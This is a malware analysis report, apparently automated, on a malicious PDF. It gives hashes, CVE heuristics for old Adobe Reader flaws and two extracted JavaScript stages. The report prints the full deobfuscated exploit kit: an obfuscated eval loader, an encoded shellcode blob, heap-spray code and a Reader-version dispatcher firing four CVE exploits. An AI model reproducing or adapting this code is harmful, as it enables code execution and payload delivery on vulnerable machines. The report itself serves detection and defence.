Malicious PDF — malware analysis report

Static analysis result for SHA-256 b8f2a6ecbd6d1d6e…

MALICIOUS

PDF

44.8 KB First seen: 2012-10-23
MD5: 6c887cec492a60927f1dd21e4e2c2fc8 SHA-1: 4329fdb2ec495c91998cada6ec692a75f6949624 SHA-256: b8f2a6ecbd6d1d6e6d47178e079765862096a25ced57717ba646bdd3d9faca4d
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB05F 524 bytes
SHA-256: d9edc218902926e45a673f2abd0b50b397a0dd59c10aca0cb57a081786444ed0
Preview script
First 1,000 lines of the extracted script
did='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('nqdsj=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=nqdsj[v+a[6]](10,4);
s+='tr';
pucd=e('S'+'tring.fro'+nqdsj[s](1,9));
q=nqdsj[s](14);
vyfj = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=vyfj.length');
for (i = 0; i < k; i+=2) {
	eyrp = vyfj[i+1] + ('erybjkerl',vyfj[i]);
	did += pucd(eyrp);
}
e(did);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3660 bytes
SHA-256: 783468cf508be9b5fe896cd0ab9da4072371d9e07dfc692ae4cbe76e6c584f8d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3eb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u8634%ue2aa%uc3fa%ue5e8%uffff%u6fff%u878a%u8686%u07d8%uda6a%u8687%u0f86%u0b61%u96c9%ue90b%ub7d2%ud15d%ud5d7%ud5d5%ud5d5%ud5d5%ud5d3%ueed5%u8782%u8686%ud0d3%ueed5%ue8e9%u8686%uf3ee%ueaf4%ud2eb%u08ee%u88c8%u6e6a%u86ce%u8686%u6ed6%u86fa%u8686%u5679%u4205%uee8e%u69c9%u83c9%u6ed6%u86ea%u8686%u5679%u4603%u91f3%ud2ec%u75df%uee2c%u78f4%u9035%u9b6e%u8686%ud686%ud76e%u8686%u7986%ud556%u78ec%u0fee%u87e9%u6e3b%u868e%u8686%u6ed6%u86ba%u8686%u5679%ub7e6%ue246%ud60d%u0db6%u8ad4%ud40d%u0d92%uaef4%u9e3f%u8686%ub786%ub779%u2a46%ue7ba%u84fa%ua6aa%u4947%u878b%u6441%u0776%udd79%ucc3a%u0dec%u96c4%u940d%u5ff3%uc20f%u9aa2%u45e7%u0de6%ua2ea%u0da2%ubac3%ud20d%ufe83%u6c87%ucc0d%u0d9e%ua6dc%u6d87%ub265%u0dcf%u0db2%u6887%u79b7%u46b7%u2a7a%u4602%u81f2%u4947%u878b%u6d41%ubd72%ua2fa%uf3ae%u0d67%ua2dc%u6d87%u0de0%ucd8a%udc0d%u879a%u0d6d%u0d82%u6e87%uc20f%u9aa2%u44e7%u868e%u696e%u7978%uee79%uf2f2%ubcf6%ua9a9%uede7%ueae3%uf5e7%uf5e9%uf2ef%ua8e3%ue8ef%ue9e0%ueda9%uf6a8%uf6ee%ue0b9%ub7bb%ubfb6%ue3a0%ub3bb%u0086';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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